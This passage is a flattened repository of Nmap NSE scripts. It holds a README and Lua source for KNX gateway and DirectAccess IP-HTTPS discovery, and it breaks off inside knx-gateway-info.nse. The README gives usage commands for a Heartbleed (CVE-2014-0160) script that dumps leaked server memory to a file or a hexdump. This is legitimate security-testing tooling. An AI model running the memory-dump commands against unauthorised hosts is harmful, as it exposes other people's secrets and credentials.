├── .gitignore ├── README.md ├── ip-https-discover.nse ├── knx-gateway-discover.nse ├── knx-gateway-info.nse ├── mop-discover.nse ├── ssl-heartbleed-dump.nse └── sstp-discover.nse /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Lua sources 2 | luac.out 3 | 4 | # luarocks build files 5 | *.src.rock 6 | *.zip 7 | *.tar.gz 8 | 9 | # Object files 10 | *.o 11 | *.os 12 | *.ko 13 | *.obj 14 | *.elf 15 | 16 | # Precompiled Headers 17 | *.gch 18 | *.pch 19 | 20 | # Libraries 21 | *.lib 22 | *.a 23 | *.la 24 | *.lo 25 | *.def 26 | *.exp 27 | 28 | # Shared objects (inc. Windows DLLs) 29 | *.dll 30 | *.so 31 | *.so.* 32 | *.dylib 33 | 34 | # Executables 35 | *.exe 36 | *.out 37 | *.app 38 | *.i*86 39 | *.x86_64 40 | *.hex 41 | 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Nmap NSE Scripts 2 | 3 | The following scripts are available in official Nmap repositories: 4 | 5 | * ip-https-discover.nse 6 | * knx-gateway-discover.nse 7 | * knx-gateway-info.nse 8 | * sstp-discover.nse 9 | 10 | ## knx-gateway-info.nse 11 | 12 | This script establishes a unicast connection to a specific device in order to retrieve information. This can be used to e.g. retrieve gateways information over the Internet. 13 | 14 | ### Usage 15 | 16 | ``` 17 | # nmap -sU -p3671 --script ./knx-gateway-info.nse 192.168.178.11 18 | ``` 19 | 20 | **Note**: Increase verbosity/debug to see full message contents: 21 | 22 | ``` 23 | # nmap -sU -p3671 -d --script ./knx-gateway-info.nse 192.168.178.11 24 | ``` 25 | 26 | ### Sample Output 27 | 28 | ``` 29 | # nmap -sU -p3671 --script ./knx-gateway-info.nse 192.168.178.11 30 | 31 | Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-08-12 20:21 CEST 32 | Nmap scan report for 192.168.178.11 33 | Host is up (0.00042s latency). 34 | PORT STATE SERVICE 35 | 3671/udp open|filtered efcp 36 | | knx-gateway-info: 37 | | Body: 38 | | DIB_DEV_INFO: 39 | | KNX address: 15.15.255 40 | | Decive serial: 00ef2650065c 41 | | Multicast address: 0.0.0.0 42 | | Device friendly name: IP-Viewer 43 | | DIB_SUPP_SVC_FAMILIES: 44 | | KNXnet/IP Core version 1 45 | | KNXnet/IP Device Management version 1 46 | | KNXnet/IP Tunnelling version 1 47 | |_ KNXnet/IP Object Server version 1 48 | ``` 49 | 50 | ## knx-gateway-discover.nse 51 | 52 | This script uses a multicast packet to discover all local gateways. According to the KNX specification every device must support this. This script can only be used to discover local KNX gateways. 53 | 54 | ### Usage 55 | 56 | ``` 57 | # nmap -e eth0 --script ./knx-gateway-discover.nse 58 | ``` 59 | 60 | **Note**: Increase verbosity/debug to see full message contents: 61 | 62 | ``` 63 | # nmap -e eth0 -v -d --script ./knx-gateway-discover.nse 64 | ``` 65 | 66 | The script supports the following `script-args`: 67 | * timeout: Defines how long the script waits for responses 68 | * newtargets: Add found gateways to target list 69 | 70 | ### Sample Output 71 | 72 | #### Default 73 | 74 | ``` 75 | # nmap -e eth0 --script ./knx-gateway-discover.nse 76 | 77 | Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-08-12 20:19 CEST 78 | Pre-scan script results: 79 | | knx-gateway-discover: 80 | | 192.168.178.11: 81 | | Body: 82 | | HPAI: 83 | | Port: 3671 84 | | DIB_DEV_INFO: 85 | | KNX address: 15.15.255 86 | | Decive serial: 00ef2650065c 87 | | Multicast address: 0.0.0.0 88 | | Device MAC address: 00:05:26:50:06:5c 89 | | Device friendly name: IP-Viewer 90 | | DIB_SUPP_SVC_FAMILIES: 91 | | KNXnet/IP Core version 1 92 | | KNXnet/IP Device Management version 1 93 | | KNXnet/IP Tunnelling version 1 94 | |_ KNXnet/IP Object Server version 1 95 | ``` 96 | 97 | #### Debug 98 | 99 | ``` 100 | # nmap -d -e eth0 --script ./knx-gateway-discover.nse 101 | 102 | Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-08-12 20:20 CEST 103 | PORTS: Using top 1000 ports found open (TCP:1000, UDP:0, SCTP:0) 104 | --------------- Timing report --------------- 105 | hostgroups: min 1, max 100000 106 | rtt-timeouts: init 1000, min 100, max 10000 107 | max-scan-delay: TCP 1000, UDP 1000, SCTP 1000 108 | parallelism: min 0, max 0 109 | max-retries: 10, host-timeout: 0 110 | min-rate: 0, max-rate: 0 111 | --------------------------------------------- 112 | NSE: Using Lua 5.2. 113 | NSE: Arguments from CLI: 114 | NSE: Loaded 1 scripts for scanning. 115 | NSE: Script Pre-scanning. 116 | NSE: Starting runlevel 1 (of 1) scan. 117 | Initiating NSE at 20:20 118 | NSE: Starting knx-gateway-discover. 119 | NSE: Finished knx-gateway-discover. 120 | NSE: Finished knx-gateway-discover. 121 | NSE: Finished knx-gateway-discover. 122 | Completed NSE at 20:20, 3.08s elapsed 123 | Pre-scan script results: 124 | | knx-gateway-discover: 125 | | 192.168.178.11: 126 | | Header: 127 | | Header length: 6 128 | | Protocol version: 16 129 | | Service type: SEARCH_RESPONSE (0x0202) 130 | | Total length: 78 131 | | Body: 132 | | HPAI: 133 | | Protocol code: 01 134 | | IP address: 192.168.178.11 135 | | Port: 3671 136 | | DIB_DEV_INFO: 137 | | Description type: Device Information 138 | | KNX medium: KNX TP1 139 | | Device status: 00 140 | | KNX address: 15.15.255 141 | | Project installation identifier: 0000 142 | | Decive serial: 00ef2650065c 143 | | Multicast address: 0.0.0.0 144 | | Device MAC address: 00:05:26:50:06:5c 145 | | Device friendly name: IP-Viewer 146 | | DIB_SUPP_SVC_FAMILIES: 147 | | KNXnet/IP Core version 1 148 | | KNXnet/IP Device Management version 1 149 | | KNXnet/IP Tunnelling version 1 150 | |_ KNXnet/IP Object Server version 1 151 | ``` 152 | 153 | 154 | ## mop-discover.nse 155 | 156 | Check if the Maintenance Operation Protocol (MOP) is enabled on Cisco devices. Please refer to [this post](https://www.insinuator.net/2015/08/cisco-and-the-maintenance-operation-protocol-mop/) for further information. 157 | 158 | Checking if a device supports MOP is as easy as this: 159 | 160 | ``` 161 | nmap --script mop-discover.nse 192.168.1.1 162 | ``` 163 | 164 | In case there is just layer 2 connectivity, the MAC address can be specified as follows: 165 | 166 | ``` 167 | nmap --script mop-discover.nse --script-args target=01:02:03:04:05:06 -e eth0 168 | ``` 169 | 170 | *Note*: This might requires to set an IP address on the defined interface or else Nmap won't be able to use it. However, any IP will do. 171 | 172 | ## ssl-heartbleed-dump.nse 173 | 174 | Discovers/Exploits Heartbleed (CVE-2014-0160). This script is basically like the Heartbleed detection script included in [official Nmap repositories](https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse) with the ability to dump the leaked memory to an outfile or print a hexdump by increasing Nmap's debug output. 175 | 176 | Check if a host is vulnerable to Heartbleed (checks every SSL-enabled HTTP, FTP, SMTP and/or XMPP port): 177 | 178 | ``` 179 | $ nmap --script ./ssl-heartbleed-dump.nse 192.168.1.1 180 | ``` 181 | 182 | Print out a hexdump of leaked memory by increasing Nmap's debug level with the -d flag: 183 | 184 | ``` 185 | $ nmap -d --script=./ssl-heartbleed-dump.nse 192.168.1.1 186 | ``` 187 | 188 | Dump leaked memory into an outfile: 189 | 190 | ``` 191 | $ nmap --script ./ssl-heartbleed-dump.nse --script-args 'ssl-heartbleed-dump.dumpfile=/tmp/heartbleed.dump' 192.168.1.1 192 | ``` 193 | 194 | Run ssl-heartbleed-dump.nse against every open port, regardless if the servie was detected or not: 195 | 196 | ``` 197 | $ nmap --script +./ssl-heartbleed-dump.nse 192.168.1.1 198 | ``` 199 | -------------------------------------------------------------------------------- /ip-https-discover.nse: -------------------------------------------------------------------------------- 1 | local nmap = require 'nmap' 2 | local comm = require 'comm' 3 | local string = require 'string' 4 | local stdnse = require 'stdnse' 5 | local shortport = require 'shortport' 6 | local sslcert = require 'sslcert' 7 | 8 | description = [[ 9 | IP-HTTPS sends Teredo related IPv6 packets over an IPv4-based HTTPS session. 10 | 11 | Checks if the IP over HTTPS (IP-HTTPS) Tunneling Protocol [1] is supported. This 12 | indicates that Microsoft DirectAccess [2], which allows remote clients to access 13 | intranet resources on a domain basis, is supported. Windows clients need 14 | Windows 7 Enterprise/Ultime or Windows 8.1 Enterprise/Ultimate. Servers need 15 | Windows Server 2008 (R2) or Windows Server 2012 (R2). Older versions 16 | of Windows and Windows Server are not supported. 17 | 18 | [1] http://msdn.microsoft.com/en-us/library/dd358571.aspx 19 | [2] http://technet.microsoft.com/en-us/network/dd420463.aspx 20 | ]] 21 | 22 | author = "Niklaus Schiess " 23 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 24 | categories = {'discovery', 'safe', 'default'} 25 | 26 | --- 27 | --@usage 28 | -- nmap --script ip-https-discover 29 | -- 30 | --@output 31 | -- 443/tcp open https 32 | -- |_ip-https-discover: IP-HTTPS is supported. This indicates that this host supports Microsoft DirectAccess. 33 | -- 34 | 35 | portrule = function(host, port) 36 | return shortport.http(host, port) and shortport.ssl(host, port) 37 | end 38 | 39 | -- Tested on a Windows Server 2012 R2 DirectAccess deployment. The URI 40 | -- /IPTLS from the specification (see description) doesn't seem to work 41 | -- on recent versions. They may be related to Windows Server 2008 (R2). 42 | local request = 43 | 'POST /IPHTTPS HTTP/1.1\r\n' .. 44 | 'Host: %s\r\n' .. 45 | 'Content-Length: 18446744073709551615\r\n\r\n' 46 | 47 | action = function(host, port) 48 | local target 49 | if host.targetname then 50 | target = host.targetname 51 | else 52 | if not string.match(stdnse.get_hostname(host), '%d%d?%d?%.%d%d?%d?%.%d%d?%d?%.%d%d?%d?') then 53 | -- If stdnse.get_hostname() returns a hostname, use it as the target. 54 | target = stdnse.get_hostname(host) 55 | else 56 | -- If stdnse.get_hostname() returns an IP address, try to get the hostname 57 | -- from the SSL certificate. 58 | local status,cert = sslcert.getCertificate(host,port) 59 | if not status then 60 | stdnse.debug1('Could not retrieve SSL certificate') 61 | return 62 | end 63 | target = cert.subject['commonName'] 64 | end 65 | end 66 | 67 | if not target then 68 | return 69 | end 70 | 71 | local socket, response = comm.tryssl(host,port, 72 | string.format(request, target), 73 | { timeout=3000, lines=4 }) 74 | if not socket then 75 | stdnse.debug1('Problem establishing connection: %s', response) 76 | return 77 | end 78 | socket:close() 79 | 80 | if string.match(response, 'HTTP/1.1 200%s+.+HTTPAPI/2.0') then 81 | return true, 'IP-HTTPS is supported. This indicates that this host supports Microsoft DirectAccess.' 82 | end 83 | end 84 | -------------------------------------------------------------------------------- /knx-gateway-discover.nse: -------------------------------------------------------------------------------- 1 | local nmap = require "nmap" 2 | local stdnse = require "stdnse" 3 | local table = require "table" 4 | local bin = require "bin" 5 | local bit = require "bit" 6 | local packet = require "packet" 7 | local ipOps = require "ipOps" 8 | local string = require "string" 9 | local target = require "target" 10 | 11 | description = [[ 12 | Discovers KNX gateways by sending a KNX Search Request to the multicast address 13 | 224.0.23.12 including a UDP payload with destination port 3671. KNX gateways 14 | will respond with a KNX Search Response including various information about the 15 | gateway, such as KNX address and supported services. 16 | 17 | This script is based on the llmnr-resolve.nse script, as it technicallly. 18 | Credits go out to the author. 19 | 20 | Further information: 21 | * DIN EN 13321-2 22 | * http://www.knx.org/ 23 | ]] 24 | 25 | author = "Niklaus Schiess , Dominik Schneider " 26 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 27 | categories = {"discovery", "safe", "broadcast"} 28 | 29 | -- 30 | --@args 31 | -- timeout Max time to wait for a response. (default 3s) 32 | -- newtargets Add found gateways to target list 33 | -- 34 | --@usage 35 | -- nmap --script knx-gateway-discover -e eth0 36 | -- 37 | --@output 38 | -- Pre-scan script results: 39 | -- | knx-gateway-discover: 40 | -- | 192.168.178.11: 41 | -- | Body: 42 | -- | HPAI: 43 | -- | Port: 3671 44 | -- | DIB_DEV_INFO: 45 | -- | KNX address: 15.15.255 46 | -- | Decive serial: 00ef2650065c 47 | -- | Multicast address: 0.0.0.0 48 | -- | Device MAC address: 00:05:26:50:06:5c 49 | -- | Device friendly name: IP-Viewer 50 | -- | DIB_SUPP_SVC_FAMILIES: 51 | -- | KNXnet/IP Core version 1 52 | -- | KNXnet/IP Device Management version 1 53 | -- | KNXnet/IP Tunnelling version 1 54 | -- |_ KNXnet/IP Object Server version 1 55 | -- 56 | 57 | prerule = function() 58 | if not nmap.is_privileged() then 59 | stdnse.verbose1("Not running due to lack of privileges.") 60 | return false 61 | end 62 | return true 63 | end 64 | 65 | local knxServiceFamilies = { 66 | [0x02]="KNXnet/IP Core", 67 | [0x03]="KNXnet/IP Device Management", 68 | [0x04]="KNXnet/IP Tunnelling", 69 | [0x05]="KNXnet/IP Routing", 70 | [0x06]="KNXnet/IP Remote Logging", 71 | [0x08]="KNXnet/IP Object Server", 72 | [0x07]="KNXnet/IP Remote Configuration and Diagnosis" 73 | } 74 | 75 | local knxDibDescriptionTypes = { 76 | [0x01]="Device Information", 77 | [0x02]="Supp_Svc_families", 78 | [0x03]="IP_Config", 79 | [0x04]="IP_Cur_Config", 80 | [0x05]="IP_Config" 81 | } 82 | 83 | local knxMediumTypes = { 84 | [0x01]="reserved", 85 | [0x02]="KNX TP1", 86 | [0x04]="KNX PL110", 87 | [0x08]="reserved", 88 | [0x10]="KNX RF", 89 | [0x20]="KNX IP" 90 | } 91 | 92 | --- Returns a raw knx search request 93 | -- @param ip_address IP address of the sending host 94 | -- @param port Port where gateways should respond to 95 | local knxQuery = function(ip_address, port) 96 | return bin.pack(">C2S2C2IS", 97 | 0x06, -- Header length 98 | 0x10, -- Protocol version 99 | 0x0201, -- Service type 100 | 0x000e, -- Total length 101 | 0x08, -- Structure length 102 | 0x01, -- Host protocol 103 | ipOps.todword(ip_address), 104 | port 105 | ) 106 | end 107 | 108 | --- Sends a knx search request 109 | -- @param query KNX search request message 110 | -- @param mcat Multicast destination address 111 | -- @param port Port to sent to 112 | local knxSend = function(query, mcast, mport) 113 | -- Multicast IP and UDP port 114 | local sock = nmap.new_socket() 115 | local status, err = sock:connect(mcast, mport, "udp") 116 | if not status then 117 | stdnse.debug1("%s", err) 118 | return 119 | end 120 | sock:send(query) 121 | sock:close() 122 | end 123 | 124 | -- Parse a KNX address from raw bytes 125 | -- @param addr Unpacked 2 bytes 126 | local parseKnxAddress = function(addr) 127 | local a = bit.rshift(bit.band(addr, 0xf000),12) 128 | local b = bit.rshift(bit.band(addr, 0x0f00), 8) 129 | local c = bit.band(addr, 0xff) 130 | return a..'.'..b..'.'..c 131 | end 132 | 133 | --- Parse a Search Response 134 | -- @param knxMessage Payload of captures UDP packet 135 | local knxParseSearchResponse = function(ips, results, knxMessage) 136 | local _, knx_header_length = bin.unpack('>C', knxMessage) 137 | local _, knx_protocol_version = bin.unpack('>C', knxMessage, _) 138 | local _, knx_service_type = bin.unpack('>S', knxMessage, _) 139 | local _, knx_total_length = bin.unpack('>S', knxMessage, _) 140 | 141 | if knx_header_length ~= 0x06 and knx_protocol_version ~= 0x10 and knx_service_type ~= 0x0202 then 142 | return 143 | end 144 | 145 | local _, knx_hpai_structure_length = bin.unpack('>C', knxMessage, _) 146 | local _, knx_hpai_protocol_code = bin.unpack('>A1', knxMessage, _) 147 | local _, knx_hpai_ip_address = bin.unpack('>A4', knxMessage, _) 148 | knx_hpai_ip_address = ipOps.str_to_ip(knx_hpai_ip_address) 149 | local _, knx_hpai_port = bin.unpack('>S', knxMessage, _) 150 | 151 | local _, knx_dib_structure_length = bin.unpack('>C', knxMessage, _) 152 | local _, knx_dib_description_type = bin.unpack('>C', knxMessage, _) 153 | knx_dib_description_type = knxDibDescriptionTypes[knx_dib_description_type] 154 | local _, knx_dib_knx_medium = bin.unpack('>C', knxMessage, _) 155 | knx_dib_knx_medium = knxMediumTypes[knx_dib_knx_medium] 156 | local _, knx_dib_device_status = bin.unpack('>A1', knxMessage, _) 157 | local _, knx_dib_knx_address = bin.unpack('>S', knxMessage, _) 158 | local _, knx_dib_project_install_ident = bin.unpack('>A2', knxMessage, _) 159 | local _, knx_dib_dev_serial = bin.unpack('>A6', knxMessage, _) 160 | local _, knx_dib_dev_multicast_addr = bin.unpack('>A4', knxMessage, _) 161 | knx_dib_dev_multicast_addr = ipOps.str_to_ip(knx_dib_dev_multicast_addr) 162 | local _, knx_dib_dev_mac = bin.unpack('>A6', knxMessage, _) 163 | knx_dib_dev_mac = stdnse.format_mac(knx_dib_dev_mac) 164 | local _, knx_dib_dev_friendly_name = bin.unpack('>A30', knxMessage, _) 165 | 166 | local knx_supp_svc_families = {} 167 | local _, knx_supp_svc_families_structure_length = bin.unpack('>C', knxMessage, _) 168 | local _, knx_supp_svc_families_description = bin.unpack('>C', knxMessage, _) 169 | knx_supp_svc_families_description = knxDibDescriptionTypes[knx_supp_svc_families_description] or knx_supp_svc_families_description 170 | 171 | local fam_meta = { 172 | __tostring = function (self) 173 | return ("%s version %d"):format( 174 | knxServiceFamilies[self.service_id] or self.service_id, 175 | self.Version 176 | ) 177 | end 178 | } 179 | 180 | for i=0,(knx_total_length-_),2 do 181 | local family = {} 182 | _, family.service_id, family.Version = bin.unpack('CC', knxMessage, _) 183 | setmetatable(family, fam_meta) 184 | knx_supp_svc_families[#knx_supp_svc_families+1] = family 185 | end 186 | 187 | local search_response = stdnse.output_table() 188 | if nmap.debugging() > 0 then 189 | search_response.Header = stdnse.output_table() 190 | search_response.Header["Header length"] = knx_header_length 191 | search_response.Header["Protocol version"] = knx_protocol_version 192 | search_response.Header["Service type"] = "SEARCH_RESPONSE (0x0202)" 193 | search_response.Header["Total length"] = knx_total_length 194 | 195 | search_response.Body = stdnse.output_table() 196 | search_response.Body.HPAI = stdnse.output_table() 197 | search_response.Body.HPAI["Protocol code"] = stdnse.tohex(knx_hpai_protocol_code) 198 | search_response.Body.HPAI["IP address"] = knx_hpai_ip_address 199 | search_response.Body.HPAI["Port"] = knx_hpai_port 200 | 201 | search_response.Body.DIB_DEV_INFO = stdnse.output_table() 202 | search_response.Body.DIB_DEV_INFO["Description type"] = knx_dib_description_type 203 | search_response.Body.DIB_DEV_INFO["KNX medium"] = knx_dib_knx_medium 204 | search_response.Body.DIB_DEV_INFO["Device status"] = stdnse.tohex(knx_dib_device_status) 205 | search_response.Body.DIB_DEV_INFO["KNX address"] = parseKnxAddress(knx_dib_knx_address) 206 | search_response.Body.DIB_DEV_INFO["Project installation identifier"] = stdnse.tohex(knx_dib_project_install_ident) 207 | search_response.Body.DIB_DEV_INFO["Decive serial"] = stdnse.tohex(knx_dib_dev_serial) 208 | search_response.Body.DIB_DEV_INFO["Multicast address"] = knx_dib_dev_multicast_addr 209 | search_response.Body.DIB_DEV_INFO["Device MAC address"] = knx_dib_dev_mac 210 | search_response.Body.DIB_DEV_INFO["Device friendly name"] = knx_dib_dev_friendly_name 211 | search_response.Body.DIB_SUPP_SVC_FAMILIES = knx_supp_svc_families 212 | else 213 | search_response.Body = stdnse.output_table() 214 | search_response.Body.HPAI = stdnse.output_table() 215 | search_response.Body.HPAI["Port"] = knx_hpai_port 216 | 217 | search_response.Body.DIB_DEV_INFO = stdnse.output_table() 218 | search_response.Body.DIB_DEV_INFO["KNX address"] = parseKnxAddress(knx_dib_knx_address) 219 | search_response.Body.DIB_DEV_INFO["Decive serial"] = stdnse.tohex(knx_dib_dev_serial) 220 | search_response.Body.DIB_DEV_INFO["Multicast address"] = knx_dib_dev_multicast_addr 221 | search_response.Body.DIB_DEV_INFO["Device MAC address"] = knx_dib_dev_mac 222 | search_response.Body.DIB_DEV_INFO["Device friendly name"] = knx_dib_dev_friendly_name 223 | search_response.Body.DIB_SUPP_SVC_FAMILIES = knx_supp_svc_families 224 | end 225 | 226 | ips[#ips+1] = knx_hpai_ip_address 227 | results[knx_hpai_ip_address] = search_response 228 | end 229 | 230 | --- Listens for knx search responses 231 | -- @param interface Network interface to listen on. 232 | -- @param timeout Maximum time to listen. 233 | -- @param ips Table to put IP addresses into. 234 | -- @param result Table to put responses into. 235 | local knxListen = function(interface, timeout, ips, results) 236 | local condvar = nmap.condvar(results) 237 | local start = nmap.clock_ms() 238 | local listener = nmap.new_socket() 239 | local threads = {} 240 | local status, l3data, _ 241 | local filter = 'dst host ' .. interface.address .. ' and udp src port 3671' 242 | listener:set_timeout(100) 243 | listener:pcap_open(interface.device, 1024, true, filter) 244 | 245 | while (nmap.clock_ms() - start) < timeout do 246 | status, _, _, l3data = listener:pcap_receive() 247 | if status then 248 | local p = packet.Packet:new(l3data, #l3data) 249 | -- Skip IP and UDP headers 250 | local knxMessage = string.sub(l3data, p.ip_hl*4 + 8 + 1) 251 | local co = stdnse.new_thread(knxParseSearchResponse, ips, results, knxMessage) 252 | threads[co] = true; 253 | end 254 | end 255 | 256 | repeat 257 | for thread in pairs(threads) do 258 | if coroutine.status(thread) == "dead" then threads[thread] = nil end 259 | end 260 | if ( next(threads) ) then 261 | condvar "wait" 262 | end 263 | until next(threads) == nil; 264 | condvar("signal") 265 | end 266 | 267 | --- Returns the network interface used to send packets to a target host. 268 | -- @param target host to which the interface is used. 269 | -- @return interface Network interface used for target host. 270 | local getInterface = function(target) 271 | -- First, create dummy UDP connection to get interface 272 | local sock = nmap.new_socket() 273 | local status, err = sock:connect(target, "12345", "udp") 274 | if not status then 275 | stdnse.verbose1("%s", err) 276 | return 277 | end 278 | local status, address, _, _, _ = sock:get_info() 279 | if not status then 280 | stdnse.verbose1("%s", err) 281 | return 282 | end 283 | for _, interface in pairs(nmap.list_interfaces()) do 284 | if interface.address == address then 285 | return interface 286 | end 287 | end 288 | end 289 | 290 | --- Make a dummy connection and return a free source port 291 | -- @param target host to which the interface is used. 292 | -- @return lport Local port which can be used in KNX messages. 293 | local getSourcePort = function(target) 294 | local socket = nmap.new_socket() 295 | local _, _ = socket:connect(target, "12345", "udp") 296 | local _, _, lport, _, _ = socket:get_info() 297 | return lport 298 | end 299 | 300 | action = function() 301 | local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) 302 | timeout = (timeout or 3) * 1000 303 | local ips, results = {}, {} 304 | local mcast = "224.0.23.12" 305 | local mport = 3671 306 | local lport = getSourcePort(mcast) 307 | 308 | -- Check if a valid interface was provided 309 | local interface = nmap.get_interface() 310 | if interface then 311 | interface = nmap.get_interface_info(interface) 312 | else 313 | interface = getInterface(mcast) 314 | end 315 | if not interface then 316 | return ("\n ERROR: Couldn't get interface for %s"):format(mcast) 317 | end 318 | 319 | -- Launch listener thread 320 | stdnse.new_thread(knxListen, interface, timeout, ips, results) 321 | -- Craft raw query 322 | local query = knxQuery(interface.address, lport) 323 | -- Small sleep so the listener doesn't miss the response 324 | stdnse.sleep(0.5) 325 | -- Send query 326 | knxSend(query, mcast, mport) 327 | -- Wait for listener thread to finish 328 | local condvar = nmap.condvar(results) 329 | condvar("wait") 330 | 331 | -- Check responses 332 | if #ips > 0 then 333 | local sort_by_ip = function(a, b) 334 | return ipOps.compare_ip(a, "lt", b) 335 | end 336 | table.sort(ips, sort_by_ip) 337 | local output = stdnse.output_table() 338 | 339 | for i=1, #ips do 340 | local ip = ips[i] 341 | output[ip] = results[ip] 342 | 343 | if target.ALLOW_NEW_TARGETS then 344 | target.add(ip) 345 | end 346 | end 347 | 348 | return output 349 | end 350 | end 351 | -------------------------------------------------------------------------------- /knx-gateway-info.nse: -------------------------------------------------------------------------------- 1 | local nmap = require "nmap" 2 | local shortport = require "shortport" 3 | local bin = require "bin" 4 | local bit = require "bit" 5 | local ipOps = require "ipOps" 6 | local stdnse = require "stdnse" 7 | 8 | description = [[ 9 | Identifies a KNX gateway on UDP port 3671 by sending a KNX Description Request. 10 | 11 | Further information: 12 | * DIN EN 13321-2 13 | * http://www.knx.org/ 14 | ]] 15 | 16 | author = "Niklaus Schiess , Dominik Schneider " 17 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 18 | categories = {"default", "discovery", "safe"} 19 | portrule = shortport.port_or_service(3671, "efcp", "udp") 20 | 21 | -- 22 | --@output 23 | -- 3671/udp open efcp KNXnet/IP Gateway 24 | -- | knx-gateway-info: 25 | -- | Body: 26 | -- | DIB_DEV_INFO: 27 | -- | KNX address: 1.2.200 28 | -- | Decive serial: 00e70880d151 29 | -- | Multicast address: 0.0.0.0 30 | -- | Device friendly name: IP-Viewer 31 | -- | DIB_SUPP_SVC_FAMILIES: 32 | -- | KNXnet/IP Core 33 | -- | KNXnet/IP Device Management 34 | -- | KNXnet/IP Tunnelling 35 | -- |_ KNXnet/IP Object Server 36 | -- 37 | 38 | local knxServiceFamilies = { 39 | [0x02]="KNXnet/IP Core", 40 | [0x03]="KNXnet/IP Device Management", 41 | [0x04]="KNXnet/IP Tunnelling", 42 | [0x05]="KNXnet/IP Routing", 43 | [0x06]="KNXnet/IP Remote Logging", 44 | [0x08]="KNXnet/IP Object Server", 45 | [0x07]="KNXnet/IP Remote Configuration and Diagnosis" 46 | } 47 | 48 | local knxDibDescriptionTypes = { 49 | [0x01]="Device Information", 50 | [0x02]="Supp_Svc_families", 51 | [0x03]="IP_Config", 52 | [0x04]="IP_Cur_Config", 53 | [0x05]="IP_Config" 54 | } 55 | 56 | local knxMediumTypes = { 57 | [0x01]="reserved", 58 | [0x02]="KNX TP1", 59 | [0x04]="KNX PL110", 60 | [0x08]="reserved", 61 | [0x10]="KNX RF", 62 | [0x20]="KNX IP" 63 | } 64 | 65 | --- Returns a raw knx description request 66 | -- @param ip_address IP address of the sending host 67 | -- @param port Port where gateways sends response packets to 68 | local knxQuery = function(ip_address, port) 69 | return bin.pack(">C2S2C2IS", 70 | 0x06, -- Header length 71 | 0x10, -- Protocol version 72 | 0x0203, -- Service type 73 | 0x000e, -- Total length 74 | 0x08, -- Structure length 75 | 0x01, -- Host protocol 76 | ipOps.todword('0.0.0.0'), 77 | 0 78 | ) 79 | end 80 | 81 | -- Parse a KNX address from raw bytes 82 | -- @param addr Unpacked 2 bytes 83 | local parseKnxAddress = function(addr) 84 | local a = bit.rshift(bit.band(addr, 0xf000),12) 85 | local b = bit.rshift(bit.band(addr, 0x0f00), 8) 86 | local c = bit.band(addr, 0xff) 87 | return a..'.'..b..'.'..c 88 | end 89 | 90 | --- Parse a Description Response 91 | -- @param knxMessage UDP response packet 92 | local knxParseDescriptionResponse = function(knxMessage) 93 | local _, knx_header_length = bin.unpack('>C', knxMessage) 94 | local _, knx_protocol_version = bin.unpack('>C', knxMessage, _) 95 | local _, knx_service_type = bin.unpack('>S', knxMessage, _) 96 | local _, knx_total_length = bin.unpack('>S', knxMessage, _) 97 | 98 | if knx_header_length ~= 0x06 and knx_protocol_version ~= 0x10 and knx_service_type ~= 0x0204 then 99 | return 100 | end 101 | 102 | local _, knx_dib_structure_length = bin.unpack('>C', knxMessage, _) 103 | local _, knx_dib_description_type = bin.unpack('>C', knxMessage, _) 104 | knx_dib_description_type = knxDibDescriptionTypes[knx_dib_description_type] 105 | local _, knx_dib_knx_medium = bin.unpack('>C', knxMessage, _) 106 | knx_dib_knx_medium = knxMediumTypes[knx_dib_knx_medium] 107 | local _, knx_dib_device_status = bin.unpack('>A1', knxMessage, _) 108 | local _, knx_dib_knx_address = bin.unpack('>S', knxMessage, _) 109 | local _, knx_dib_project_install_ident = bin.unpack('>A2', knxMessage, _) 110 | local _, knx_dib_dev_serial = bin.unpack('>A6', knxMessage, _) 111 | local _, knx_dib_dev_multicast_addr = bin.unpack('>A4', knxMessage, _) 112 | knx_dib_dev_multicast_addr = ipOps.str_to_ip(knx_dib_dev_multicast_addr) 113 | local _, knx_dib_dev_mac = bin.unpack('>A6', knxMessage, _) 114 | knx_dib_dev_mac = stdnse.format_mac(knx_dib_dev_mac) 115 | local _, knx_dib_dev_friendly_name = bin.unpack('>A30', knxMessage, _) 116 | knx_dib_dev_friendly_name = knx_dib_dev_friendly_name:gsub('\x00','') 117 | 118 | local knx_supp_svc_families = {} 119 | local _, knx_supp_svc_families_structure_length = bin.unpack('>C', knxMessage, _) 120 | local _, knx_supp_svc_families_description = bin.unpack('>C', knxMessage, _) 121 | knx_supp_svc_families_description = knxDibDescriptionTypes[knx_supp_svc_families_description] or knx_supp_svc_families_description 122 | 123 | local fam_meta = { 124 | __tostring = function (self) 125 | return ("%s"):format( 126 | knxServiceFamilies[self.service_id] or self.service_id) 127 | end 128 | } 129 | 130 | local svc_families_length = knx_supp_svc_families_structure_length - 2 131 | for i=0,(svc_families_length),2 do 132 | local family = {} 133 | _, family.service_id, _ = bin.unpack('CC', knxMessage, _) 134 | setmetatable(family, fam_meta) 135 | knx_supp_svc_families[#knx_supp_svc_families+1] = family 136 | end 137 | 138 | --Build a proper response table 139 | local description_response = stdnse.output_table() 140 | if nmap.debugging() > 0 then 141 | description_response.Header = stdnse.output_table() 142 | description_response.Header["Header length"] = knx_header_length 143 | description_response.Header["Protocol version"] = knx_protocol_version 144 | description_response.Header["Service type"] = "DESCRIPTION_RESPONSE (0x0204)" 145 | description_response.Header["Total length"] = knx_total_length 146 | 147 | description_response.Body = stdnse.output_table() 148 | description_response.Body.DIB_DEV_INFO = stdnse.output_table() 149 | description_response.Body.DIB_DEV_INFO["Description type"] = knx_dib_description_type 150 | description_response.Body.DIB_DEV_INFO["KNX medium"] = knx_dib_knx_medium 151 | description_response.Body.DIB_DEV_INFO["Device status"] = stdnse.tohex(knx_dib_device_status) 152 | description_response.Body.DIB_DEV_INFO["KNX address"] = parseKnxAddress(knx_dib_knx_address) 153 | description_response.Body.DIB_DEV_INFO["Project installation identifier"] = stdnse.tohex(knx_dib_project_install_ident) 154 | description_response.Body.DIB_DEV_INFO["Decive serial"] = stdnse.tohex(knx_dib_dev_serial) 155 | description_response.Body.DIB_DEV_INFO["Multicast address"] = knx_dib_dev_multicast_addr 156 | 